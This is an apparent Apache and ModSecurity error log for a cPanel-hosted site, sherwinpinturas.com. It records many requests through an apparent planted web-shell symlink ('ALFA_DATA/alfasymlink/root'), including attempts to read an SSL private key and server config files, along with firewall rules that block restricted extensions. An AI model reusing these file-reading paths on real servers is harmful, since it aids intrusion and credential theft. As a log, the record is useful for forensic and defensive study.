[Mon Oct 26 11:19:58.288522 2026] [security2:error] [pid 3045151:tid 3045151] [client 107.172.76.131:54867] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9vkrOULSJArBQUG8_eKwAAAAA"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 11:19:58.288584 2026] [security2:error] [pid 3045151:tid 3045151] [client 107.172.76.131:54867] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9vkrOULSJArBQUG8_eKwAAAAA"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 11:20:01.595003 2026] [core:error] [pid 3044287:tid 3044287] (13)Permission denied: [client 185.191.171.19:11732] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-192/cpu_partial
[Mon Oct 26 11:20:06.182868 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 3.229.95.193:46690] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:20:10.134411 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 18.214.238.178:10499] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:20:14.267688 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 52.204.253.129:9393] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:20:22.151590 2026] [ssl:error] [pid 3048990:tid 3048990] (70014)End of file found: [client 3.230.224.6:6034] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:20:42.147158 2026] [ssl:error] [pid 3044296:tid 3044296] (70014)End of file found: [client 3.213.106.226:13030] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:20:46.296914 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 18.214.124.6:21367] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:20:46.983398 2026] [core:error] [pid 3044312:tid 3044312] (13)Permission denied: [client 185.191.171.8:11602] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-8/objs_per_slab
[Mon Oct 26 11:21:02.172790 2026] [ssl:error] [pid 3052341:tid 3052341] (70014)End of file found: [client 34.206.193.60:45737] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:21:02.366081 2026] [security2:error] [pid 3052342:tid 3052342] [client 185.191.171.15:22550] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c8821_73cd7_3424566c06bb38ebe7e0714f146c1bb1.key"] [unique_id "at9v3nNsi4cqo2ItOKd9zAAAAAM"]
[Mon Oct 26 11:21:02.366458 2026] [security2:error] [pid 3052342:tid 3052342] [client 185.191.171.15:22550] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c8821_73cd7_3424566c06bb38ebe7e0714f146c1bb1.key"] [unique_id "at9v3nNsi4cqo2ItOKd9zAAAAAM"]
[Mon Oct 26 11:21:02.366840 2026] [security2:error] [pid 3052342:tid 3052342] [client 185.191.171.15:22550] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c8821_73cd7_3424566c06bb38ebe7e0714f146c1bb1.key"] [unique_id "at9v3nNsi4cqo2ItOKd9zAAAAAM"]
[Mon Oct 26 11:21:06.148680 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 3.209.174.110:58718] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:21:06.148889 2026] [security2:error] [pid 3044299:tid 3044299] [client 3.209.174.110:58718] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/PNP0A03:00/PNP0A06:00/physical_node/power/runtime_active_time"] [unique_id "at9v4gWgOHT1_mp01JuliAAAAD0"]
[Mon Oct 26 11:21:06.148914 2026] [security2:error] [pid 3044299:tid 3044299] [client 3.209.174.110:58718] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/PNP0A03:00/PNP0A06:00/physical_node/power/runtime_active_time"] [unique_id "at9v4gWgOHT1_mp01JuliAAAAD0"]
[Mon Oct 26 11:21:18.181065 2026] [ssl:error] [pid 3052563:tid 3052563] (70014)End of file found: [client 35.174.253.85:23491] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:21:26.148009 2026] [ssl:error] [pid 3048588:tid 3048588] (70014)End of file found: [client 54.225.98.148:31123] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:21:39.997896 2026] [core:error] [pid 3052341:tid 3052341] (13)Permission denied: [client 185.191.171.16:14184] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-160/validate
[Mon Oct 26 11:21:42.371047 2026] [ssl:error] [pid 3055474:tid 3055474] (70014)End of file found: [client 18.215.77.19:60469] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:22:02.150349 2026] [ssl:error] [pid 3055419:tid 3055419] (70014)End of file found: [client 100.29.107.38:5683] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:22:18.154307 2026] [core:error] [pid 3044287:tid 3044287] (13)Permission denied: [client 35.172.125.172:59996] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event0/subsystem/event1/device/device/driver/serio0/firmware_node/subsystem/devices/LNXCPU:01/physical_node/node0/cpu1/crash_notes_size
[Mon Oct 26 11:22:22.153929 2026] [ssl:error] [pid 3055621:tid 3055621] (70014)End of file found: [client 52.4.229.9:23224] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:22:26.159310 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 44.221.180.179:39017] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:22:34.181010 2026] [ssl:error] [pid 3048989:tid 3048989] (70014)End of file found: [client 3.212.219.113:46012] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:23:06.562908 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 44.196.118.6:59510] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:23:10.362382 2026] [ssl:error] [pid 3044281:tid 3044281] (70014)End of file found: [client 34.194.165.45:15147] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:23:25.895194 2026] [security2:error] [pid 3045151:tid 3045151] [client 107.172.76.131:54867] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9wYbOULSJArBQUG8_eOgAAAAA"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 11:23:25.895261 2026] [security2:error] [pid 3045151:tid 3045151] [client 107.172.76.131:54867] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9wYbOULSJArBQUG8_eOgAAAAA"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 11:23:30.118249 2026] [core:error] [pid 3044281:tid 3044281] (13)Permission denied: [client 85.208.96.206:40566] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDPv6/cpu_partial
[Mon Oct 26 11:23:30.323415 2026] [ssl:error] [pid 3055474:tid 3055474] (70014)End of file found: [client 3.216.86.144:45357] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:23:34.267676 2026] [ssl:error] [pid 3048989:tid 3048989] (70014)End of file found: [client 44.215.61.66:55077] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:23:43.280362 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 52.0.105.244:55780] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:23:50.448374 2026] [ssl:error] [pid 3044281:tid 3044281] (70014)End of file found: [client 54.83.56.1:35618] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:23:54.647025 2026] [ssl:error] [pid 3055474:tid 3055474] (70014)End of file found: [client 44.210.204.255:19143] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:24:02.817623 2026] [ssl:error] [pid 3055621:tid 3055621] (70014)End of file found: [client 18.206.47.187:9083] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:24:10.362015 2026] [ssl:error] [pid 3044281:tid 3044281] (70014)End of file found: [client 54.221.203.24:25028] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:24:12.402930 2026] [proxy_fcgi:error] [pid 3052563:tid 3052563] [client 136.117.76.12:55957] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 11:24:18.452770 2026] [ssl:error] [pid 3044296:tid 3044296] (70014)End of file found: [client 44.208.223.68:34117] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:24:26.356628 2026] [ssl:error] [pid 3052563:tid 3052563] (70014)End of file found: [client 44.223.115.10:13822] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:24:30.393473 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 34.202.88.37:53810] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:24:34.382359 2026] [ssl:error] [pid 3055621:tid 3055621] (70014)End of file found: [client 52.7.33.248:46471] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:24:38.345124 2026] [ssl:error] [pid 3055474:tid 3055474] (70014)End of file found: [client 184.73.167.217:59310] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:24:42.363048 2026] [ssl:error] [pid 3044281:tid 3044281] (70014)End of file found: [client 34.196.237.236:12498] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:24:54.378081 2026] [security2:error] [pid 3055621:tid 3055621] [client 44.194.134.53:33511] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/msi_irqs/"] [unique_id "at9wxoPwLgf1yzTb_r_bOwAAAA8"]
[Mon Oct 26 11:24:54.378183 2026] [security2:error] [pid 3055621:tid 3055621] [client 44.194.134.53:33511] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/msi_irqs/"] [unique_id "at9wxoPwLgf1yzTb_r_bOwAAAA8"]
[Mon Oct 26 11:25:07.460547 2026] [ssl:error] [pid 3052563:tid 3052563] (70014)End of file found: [client 34.192.67.98:59412] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:25:10.622957 2026] [ssl:error] [pid 3044268:tid 3044268] (70014)End of file found: [client 3.213.85.234:39438] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:25:18.762160 2026] [ssl:error] [pid 3055621:tid 3055621] (70014)End of file found: [client 35.168.238.50:55976] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:25:21.294025 2026] [core:error] [pid 3055474:tid 3055474] (13)Permission denied: [client 85.208.96.206:13764] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_stable_node/slabs_cpu_partial
[Mon Oct 26 11:25:38.565869 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 54.235.191.179:16527] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:25:58.678755 2026] [ssl:error] [pid 3044281:tid 3044281] (70014)End of file found: [client 44.221.227.90:30647] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:26:06.565016 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 54.85.126.86:16405] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:26:10.737605 2026] [ssl:error] [pid 3044281:tid 3044281] (70014)End of file found: [client 34.227.234.246:52243] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:26:22.551231 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 23.20.178.124:32759] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:26:30.615371 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 3.210.29.96:41899] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:26:30.687132 2026] [ssl:error] [pid 3055621:tid 3055621] (70014)End of file found: [client 85.208.96.205:56456] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:26:34.558815 2026] [ssl:error] [pid 3055474:tid 3055474] (70014)End of file found: [client 52.3.104.214:57979] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:26:38.933421 2026] [ssl:error] [pid 3048588:tid 3048588] (70014)End of file found: [client 100.25.120.246:55960] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:26:42.715892 2026] [core:error] [pid 3052342:tid 3052342] (13)Permission denied: [client 3.218.35.239:46811] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/event4/subsystem/event0/subsystem/input1/device/firmware_node/physical_node1/drvctl
[Mon Oct 26 11:26:46.870572 2026] [ssl:error] [pid 3055621:tid 3055621] (70014)End of file found: [client 44.217.255.167:2709] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:26:54.741905 2026] [ssl:error] [pid 3048588:tid 3048588] (70014)End of file found: [client 3.215.59.93:4040] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:26:58.612528 2026] [ssl:error] [pid 3044268:tid 3044268] (70014)End of file found: [client 184.73.47.24:12096] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:27:06.605269 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 18.232.11.247:19228] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:27:10.711474 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 44.215.231.15:46199] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:27:14.753959 2026] [ssl:error] [pid 3048588:tid 3048588] (70014)End of file found: [client 44.212.232.231:55679] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:27:18.841545 2026] [ssl:error] [pid 3044268:tid 3044268] (70014)End of file found: [client 54.225.98.148:29143] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:27:31.607043 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 98.80.130.239:46056] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:27:39.147632 2026] [ssl:error] [pid 3044287:tid 3044287] (70014)End of file found: [client 52.200.54.136:51229] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:27:46.763204 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 54.147.80.137:42905] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:27:50.804332 2026] [ssl:error] [pid 3048588:tid 3048588] (70014)End of file found: [client 52.5.232.250:51198] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:27:55.114126 2026] [ssl:error] [pid 3044287:tid 3044287] (70014)End of file found: [client 54.210.155.69:15252] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:27:58.748089 2026] [ssl:error] [pid 3044281:tid 3044281] (70014)End of file found: [client 98.82.66.172:28179] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:28:03.069999 2026] [ssl:error] [pid 3048588:tid 3048588] (70014)End of file found: [client 54.84.102.81:24208] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:28:14.879266 2026] [core:error] [pid 3052563:tid 3052563] (13)Permission denied: [client 54.209.100.30:47149] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/event0/device/device/subsystem/devices/device:10/subsystem/drivers_probe
[Mon Oct 26 11:28:22.820917 2026] [core:error] [pid 3044287:tid 3044287] (13)Permission denied: [client 44.223.232.55:1781] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/device:1d/subsystem/drivers/hpet/bind
[Mon Oct 26 11:28:26.855653 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 44.208.223.68:45375] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:28:34.782534 2026] [ssl:error] [pid 3044281:tid 3044281] (70014)End of file found: [client 54.243.63.52:30918] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:28:38.779024 2026] [ssl:error] [pid 3048990:tid 3048990] (70014)End of file found: [client 52.3.155.146:27397] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:28:38.779251 2026] [security2:error] [pid 3048990:tid 3048990] [client 52.3.155.146:27397] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/mice/subsystem/event1/subsystem/input1/device/firmware_node/physical_node1/driver/serio0/driver/bind_mode"] [unique_id "at9xpqx03eeNDz_E2KbcigAAAAo"]
[Mon Oct 26 11:28:38.779295 2026] [security2:error] [pid 3048990:tid 3048990] [client 52.3.155.146:27397] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/mice/subsystem/event1/subsystem/input1/device/firmware_node/physical_node1/driver/serio0/driver/bind_mode"] [unique_id "at9xpqx03eeNDz_E2KbcigAAAAo"]
[Mon Oct 26 11:28:51.246742 2026] [ssl:error] [pid 3048990:tid 3048990] (70014)End of file found: [client 52.70.209.13:6362] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:28:54.903445 2026] [ssl:error] [pid 3048588:tid 3048588] (70014)End of file found: [client 18.215.77.19:13824] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:28:58.955783 2026] [ssl:error] [pid 3044268:tid 3044268] (70014)End of file found: [client 18.215.49.176:21799] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:28:58.955989 2026] [security2:error] [pid 3044268:tid 3044268] [client 18.215.49.176:21799] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/event0/device/subsystem/input5/device/driver/module/initsize"] [unique_id "at9xuvKWwmJGO0eR0H_yqgAAACE"]
[Mon Oct 26 11:28:58.956010 2026] [security2:error] [pid 3044268:tid 3044268] [client 18.215.49.176:21799] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/event0/device/subsystem/input5/device/driver/module/initsize"] [unique_id "at9xuvKWwmJGO0eR0H_yqgAAACE"]
[Mon Oct 26 11:29:03.110808 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 44.197.76.210:32662] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:29:06.892493 2026] [core:error] [pid 3048990:tid 3048990] (13)Permission denied: [client 44.223.115.10:3045] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:1f/subsystem/devices/device:05/eject
[Mon Oct 26 11:29:07.252208 2026] [core:error] [pid 3048588:tid 3048588] (13)Permission denied: [client 216.244.66.250:53124] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/kmsg
[Mon Oct 26 11:29:08.515610 2026] [authz_core:error] [pid 3044268:tid 3044268] [client 45.156.129.214:21390] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 11:29:14.990220 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 54.147.238.89:47260] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:29:27.037087 2026] [ssl:error] [pid 3055621:tid 3055621] (70014)End of file found: [client 3.222.85.38:25082] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:29:30.925068 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 18.215.24.66:18251] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:29:36.623276 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 34.238.45.183:24179] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:29:40.265288 2026] [core:error] [pid 3048990:tid 3048990] (13)Permission denied: [client 185.191.171.17:49980] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-192/hwcache_align
[Mon Oct 26 11:29:51.183275 2026] [ssl:error] [pid 3044268:tid 3044268] (70014)End of file found: [client 52.70.138.176:1629] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:29:59.154051 2026] [ssl:error] [pid 3055474:tid 3055474] (70014)End of file found: [client 54.210.152.179:12422] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:30:07.153293 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 44.215.231.15:65364] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:30:13.785012 2026] [core:error] [pid 3055474:tid 3055474] (13)Permission denied: [client 185.191.171.2:26380] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/dev/char/4:67/io_type
[Mon Oct 26 11:30:15.069659 2026] [ssl:error] [pid 3048990:tid 3048990] (70014)End of file found: [client 23.21.175.228:44394] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:30:19.200236 2026] [ssl:error] [pid 3055621:tid 3055621] (70014)End of file found: [client 107.22.208.39:21120] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:30:23.616719 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 54.166.126.132:34262] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:30:27.098950 2026] [ssl:error] [pid 3044287:tid 3044287] (70014)End of file found: [client 44.212.145.46:54815] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:30:31.423582 2026] [ssl:error] [pid 3055474:tid 3055474] (70014)End of file found: [client 3.224.104.67:65071] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:30:35.090870 2026] [core:error] [pid 3052342:tid 3052342] (13)Permission denied: [client 54.157.99.244:33149] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:03.0/firmware_node/physical_node/subsystem/drivers/shpchp/bind
[Mon Oct 26 11:30:39.342991 2026] [ssl:error] [pid 3044287:tid 3044287] (70014)End of file found: [client 98.84.184.80:63540] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:30:43.310247 2026] [ssl:error] [pid 3055474:tid 3055474] (70014)End of file found: [client 52.4.229.9:22012] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:30:47.257894 2026] [ssl:error] [pid 3044268:tid 3044268] (70014)End of file found: [client 54.197.82.195:9756] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:31:03.152979 2026] [core:error] [pid 3055419:tid 3055419] (13)Permission denied: [client 34.231.77.232:18067] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS3/subsystem/tty30/subsystem/ttyS2/io_type
[Mon Oct 26 11:31:06.649431 2026] [security2:error] [pid 3044299:tid 3044299] [client 16.216.88.173:12288] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/170_mod_deflate.conf"] [unique_id "at9yOgWgOHT1_mp01JultQAAAD0"]
[Mon Oct 26 11:31:06.649862 2026] [security2:error] [pid 3044299:tid 3044299] [client 16.216.88.173:12288] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/170_mod_deflate.conf"] [unique_id "at9yOgWgOHT1_mp01JultQAAAD0"]
